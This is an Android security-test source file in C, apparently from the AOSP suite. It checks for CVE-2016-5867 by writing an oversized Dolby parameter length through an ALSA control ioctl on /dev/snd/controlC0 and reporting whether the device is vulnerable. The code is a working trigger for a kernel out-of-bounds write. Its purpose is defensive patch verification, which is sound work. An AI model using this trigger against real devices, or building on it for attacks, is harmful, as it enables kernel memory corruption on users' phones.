1 /*
2 * Copyright (C) 2019 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16
17 /*
18 * CVE-2016-5867
19 */
20
21 #include "../includes/common.h"
22 #include <fcntl.h>
23 #include <sound/asound.h>
24 #include <stdio.h>
25 #include <stdlib.h>
26 #include <string.h>
27 #include <sys/ioctl.h>
28 #include <unistd.h>
29
30 #define DOLBY_SET_PARAM "DS1 DAP Set Param"
31 #define NUM_BLOCKS 16384
32 #define DOLBY_PARAM_ID_VDHE 0x0001074D
33 #define TOTAL_LENGTH_DOLBY_PARAM 745
34
get_doblycontrolid(int fd)35 unsigned int get_doblycontrolid(int fd) {
36 unsigned int i;
37 int ret = -1;
38 unsigned int id = 0;
39 struct snd_ctl_elem_list lst;
40 memset(&lst, 0, sizeof(lst));
41 lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
42 lst.space = NUM_BLOCKS;
43 ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
44 if (ret < 0) {
45 return 0;
46 }
47 for (i = 0; i < lst.count; i++) {
48 if (!strncmp((const char *)lst.pids[i].name, DOLBY_SET_PARAM,
49 (sizeof(DOLBY_SET_PARAM) - 1))) {
50 id = lst.pids[i].numid;
51 break;
52 }
53 }
54 free(lst.pids);
55 return id;
56 }
57
main()58 int main(){
59 int fd = -1;
60 struct snd_ctl_elem_value control;
61 int ret;
62 fd = open("/dev/snd/controlC0", O_RDWR);
63 if(fd < 0) {
64 return EXIT_FAILURE;
65 }
66 memset(&control, 0, sizeof(control));
67 control.id.numid = get_doblycontrolid(fd);
68 if(control.id.numid) {
69 control.value.integer.value[1] = DOLBY_PARAM_ID_VDHE;
70 control.value.integer.value[3] = TOTAL_LENGTH_DOLBY_PARAM +1;
71 ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &control);
72 if(ret == 0) {
73 close(fd);
74 return EXIT_VULNERABLE;
75 }
76 }
77 close(fd);
78 return EXIT_SUCCESS;
79 }
80